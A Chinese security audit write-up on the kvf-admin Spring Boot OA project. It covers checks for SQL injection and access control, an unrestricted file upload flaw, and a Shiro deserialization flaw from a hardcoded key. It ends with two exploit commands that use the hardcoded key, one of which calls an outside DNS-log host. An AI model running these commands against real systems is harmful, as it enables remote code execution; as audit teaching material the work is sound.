初学SpringBoot框架,找了个开源项目练习一下学到的审计技巧,这次审计的是github上的一个开源OA项目,项目地址:https://github.com/kalvinGit/kvf-admin,项目直接使用maven一键搭建,没什么好说的,直接开审
1.常规sql注入检查
找到mybatis的mappre配置文件

在mapper文件夹内搜索$符号看看是否存在未使用预编译的sql语句,只找到一处,我们跟进看看

位于selectPermission方法

该函数只有一个用法,在MenuServiceImpl类中的getPermission方法中调用

getPermission,发现是在shiro授权中调用的,而且userId看似也不可控,无奈放弃

2.越权检查
此项目采用shiro做权限管理,定位到shiro配置
可以看到除了少数的几个
/static/ /login/ /duird/ /captcha是anon权限,除了上述的路由其他的所有路由都设置为了authc过滤器,authc过滤器是shiro自带的一个过滤器用于检测用户是否登录,如果没有登录将会跳转到设置的登录页面,这里是跳转到/login

3.任意文件上传
在路由/common/fileUpload处存在文件上传接口

可以看到此处接受了file,type参数,并且type参数必须为UploadPathEnum中定义的类型,type参数决定了文件上传的目录

此处没有任何过滤所以存在文件上传漏洞,我们构造请求页面发起请求,可以看到当type参数为file时会上传到file/目录下

同时,当file参数为image时会上传到image目录下

4.Shiro反序列化
在shiro的config中我们明显地看到了硬编码,使用此应用的人如果没有及时更换密钥那么就会造成反序列化漏洞

此项目shiro版本为1.6,在shiro1.4.2后使用GCM加密方法,将反序列化payload使用GCM加密方法后攻击即可
URLDNS探测
1 | python shiro-exploit.py yso -g URLDNS -c "http://4d43e338.toxiclog.xyz" -u http://127.0.0.1:8080 -k 2AvVhdsgUs0FSA3SDFAdag== -v2 |

由于本项目没有CC依赖,所以我们用shiro无依赖打,利用CommonsBeanutils1
1 | python shiro-exploit.py yso -g CommonsBeanutils1 -c "calc" -u http://127.0.0.1:8080 -k 2AvVhdsgUs0FSA3SDFAdag== -v 2 |

手动复制payload打
